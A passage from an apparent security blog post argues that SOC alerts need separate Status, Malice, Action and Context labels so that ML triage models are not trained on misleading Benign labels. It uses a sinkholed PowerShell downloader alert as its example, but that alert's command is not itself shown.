In this example, let’s say the above details are the entirety of the alert artifact. Based solely on this information, an analyst would probably determine that this alert represents malicious activity. There is no clear legitimate reason for a user to perform this action in this way and, in fact, this syntax matches known malicious examples. So it should be labeled Malicious, right?
What if it’s not a threat?
However, what if upon review of related network logs around the time of this execution, we found out that the connection to the www[.]badsite[.]com command and control (C2) domain was sinkholed? Would this alert now be labeled Benign or Malicious? Well, that depends who’s asking.
The artifact, as shown above, is indeed inherently malicious. The PowerShell command intends to download and execute a file within the %USERAPPDATA% directory, and has taken steps to hide its purpose by using PowerShell obfuscation characters. Moreover, PowerShell was spawned by WINWORD.EXE, which is something that isn’t usually legitimate. Last, this behavior matches other publicly documented examples of malicious activity.
Though we may have discovered the malicious callback was sinkholed, nothingin the alert artifact gives any indication that the attack was not successful. The fact that it was sinkholed is completely separate information, acquired from other, related artifacts. So from a detection or research perspective, this alert, on its own, is 100% malicious.
However, if you are the stakeholder or customer trying to manage a daily flood of escalations, tickets, and patching, the circumstantial information that it was sinkholed is very important. This is not a threat you need to worry about. If you get a report about some commodity attack that was sinkholed, that may be a waste of your time. For example, you may have internal workflows that automatically kick off when you receive a Malicious report, and you don’t want all that hassle for something that isn’t an urgent problem. So, from your perspective, given the choice between only Malicious or Benign, you may want this to be called Benign.
Downstream effects
Now, let’s say we only had one level of labeling and we marked the above alert Benign, since the connection to the C2 was sinkholed. Over time, analysts decide to adopt this as policy: mark as Benign any alert that doesn’t present an actual threat, even if it is inherently malicious. We may decide to still submit an “informational” report to let them know, but we don’t want to hassle customers with a bunch of false alarms, so they can focus on the real threats.
A year later, management decides to automate the analysis of these alerts entirely, so we have our data scientists train a model on the last year of labeled process-based artifacts. For some reason, the whiz-bang data science model routinely misses obfuscated PowerShell attacks! The reason, of course, is that the model saw a bunch of these marked “Benign” in the learning process, and has determined that obfuscated PowerShell syntax reaching out to suspicious domains like the above is perfectly fine and not something to worry about. After all, we have been teaching it that with our “Benign” designation, time and time again.
Our model’s false negative rate is through the roof. “Surely we can go back and find and re-label those,” we decide. “That will fix it!.” Perhaps we can, but doing so requires us to perform the exact same work we already did over the past year. By limiting our labels to only one level of labeling, we have corrupted months of expensive expert analysis and rendered it useless. In order to fix it so we can automate our work, we have to now do even more work. And indeed, without separated labeling categories, we can fall into this same trap in other ways—even with the best intentions.
The playbook pitfall
Let’s say you are trying to improve efficiency in the SOC (and who isn’t, right?!). You identify that analysts spend a lot of time clicking buttons and copying alert text to write reports. So, after many months of development, you unveil the wonderful new Automated Response Reporting Workflow, which of course you have internally dubbed “Project ARRoW.” As soon as an analyst marks an alert as ‘Malicious’, a draft report is auto-generated with information from the alert and some boilerplate recommendations. All the analyst has to do is click “publish,” and poof—off it goes to the stakeholder! Analysts love it. Project ARRoW is a huge success.
However, after a month or so, some of your stakeholders say they don’t want any more Potentially Unwanted Program (PUP) reports. They are using some of the slick Application Programming Interface (API) integrations of your reporting portal, and every time you publish a report, it creates a ticket and a ton of work on their end. “Stop sending us these PUP reports!” they beg. So, of course you agree to stop—but the problem is that with ARRoW, if you mark an alert Malicious, a report is automatically generated, so you have to mark them Benign to avoid that. Except they’re not Benign.
Now your PUP signatures look bad even though they aren’t! Your PUP classification model, intended to automatically separate true PUP alerts from False Positives, is now missing actual Malicious activity (which, remember, all your other customers still want to know about) because it has been trained on bad labels. All this because you wanted to streamline reporting! Before you know it, you are writing individual development tickets to add customer-specific expectations to ARRoW. You even build a “Customer Exception Dashboard” to keep track of them all. But you’re only digging yourself deeper.
Applying multiple labels
The solution to this problem is to answer separate questions with separate answers. Applying a single label to an alert is insufficient to answer the multiple questions SOC stakeholders want to know:
Has it been reviewed? (Status)
Is it indicative of malicious activity? (Malice)
Do I need to do something? (Action)
What else do we know about the alert? (Context)
These questions should be answered separately in different categories, and that separation must be enforced. Some categories can be open-ended, while others must remain limited multiple choice.
Let me explain:
Status: The choices here should include default options like OPEN, CLOSED, REPORTED, ESCALATED, etc. but there should be an ability to add new status labels depending on an organization’s workflow. This power should probably be held by management, to ensure new labels are in line with desired workflows and metrics. Setting a label here should be mandatory to move forward with alert analysis.
Malice: This category is arguably the most important one, and should ideally be limited to two options total: Malicious or Benign. To clarify, I use Benign here to denote an activity that reflects normal usage of computing resources, but not for usage that is otherwise malicious in nature but has been mitigated or blocked. Moreover, Benign does not apply to activities that are intended to imitate malicious behavior, such as red teaming or testing. Put most simply, “Benign” activities are those that reflect normal user and administrative usage.
Note: If an org chooses to include a third label such as “Suspicious,” rest assured that this label will eventually be abused, perhaps in situations of circumstantial ambiguity, or as a placeholder for custom workflows. Adding any choices beyond Malicious or Benign will add noise to this dataset and reduce its usefulness. And take note—this reduction in utility is not linear. Even at very low levels of noise, the dataset will become functionally worthless. Properly implemented, analysts must choose between only Malicious or Benign, and entering a label here should be mandatory to move forward. If caveats apply, they can be added in a comments section, but all measures should be taken before polluting the label space.
Action: This is where you can record information that answers the question “Should I do something about this?” This can include options like “Active Compromise,” “Ignore,” “Informational,” “Quarantined,” or “Sinkholed.” Managers and administrators can add labels here as needed, and choosing a label should be mandatory to move forward. These labels need not be mutually exclusive, meaning you can choose more than one.
Context: This category can be used as a catch-all to record any information that you haven’t already captured, such as attribution, suspected malware family, whether or not it was testing or a red-team, etc. This is often also referred to as “tagging.” This category should be the most open to adding new labels, with some care taken to normalize labels so as to avoid things like ‘APT29’ vs. ‘apt29’, etc. This category need not be mandatory, and the labels should not be mutually exclusive.
Note: Because the Context category is the most flexible, there are potentials for abuse here. SOC leadership should regularly audit newly created Context labels and ensure workarounds are not being built to circumvent meaningful labeling in the previous categories.
Garbage in, garbage out
Supervised SOC models are like new analysts—they will “learn” from what other analysts have historically done. In a very simplified sense, when a model is “trained” on alert data, it looks at each alert, looks at the corresponding label, and tries to draw connections as to why that label was applied. However, unlike human analysts, supervised SOC models can’t ask follow-on contextual questions like, “Hey, why did you mark this as Benign?” or “Why are some of these marked ‘Red Team’ and others are marked ‘Testing?’” The machine learning (ML) model can only learn from the labels it is given. If the labels are wrong, the model will be wrong. Therefore, taking time to really think through how and why we label our data a certain way can have ramifications months and years later. If we label alerts properly, we can measure—and therefore improve—our operations, threat intel, and customer impact more successfully.
I also recognize that anyone in user interface (UI) design may be cringing at this idea. More buttons and more clicks in an already busy interface? Indeed, I have had these conversations when trying to implement systems like this. However, the long-term benefits of having statistically meaningful data outweighs the cost of adding another label or three. Separating categories in this way also makes the alerting workflow a much richer target for automated rules engines and automations. Because of the multiple categories, automatic alert-handling rules need not be all-or-nothing, but can be more specifically tailored to more complex combinations of labels.
Why should we care about this?
Imagine a world when SOC analysts don’t have to waste time reviewing obvious false positives, or repetitive commodity malware. Imagine a world where SOC analysts only tackle the interesting questions—new types of evil, targeted activity, and active compromises.
Imagine a world where stakeholders get more timely and actionable alerts, rather than monthly rollups and the occasional after-action report when alerts are missed due to capacity issues.
Imagine centralized ML models learning directly from labels applied in customer SOCs. Knowledge about malicious behavior detected in one customer environment could instantaneously improve alert classification models for all customers.
SOC analysts with time to do deeper investigations, more hunting, and more training to keep up with new threats. Stakeholders with more value and less noise. Threat information instantaneously incorporated into real-time ML detection models. How do we get there?
The first step is building meaningful, useful alert datasets. Using a labeling scheme like the one described above will help improve fidelity and integrity in SOC alert labels, and pave the way for these innovations.
The collective thoughts of the interwebz
By continuing to use the site, you agree to the use of cookies. more information
The cookie settings on this website are set to "allow cookies" to give you the best browsing experience possible. If you continue to use this website without changing your cookie settings or you click "Accept" below then you are consenting to this.
If the labels are wrong, the model will be wrong. Therefore, taking time to really think through how and why we label our data a certain way can have ramifications months and years later. If we label alerts properly, we can measure—and therefore improve—our operations, threat intel, and customer impact more successfully.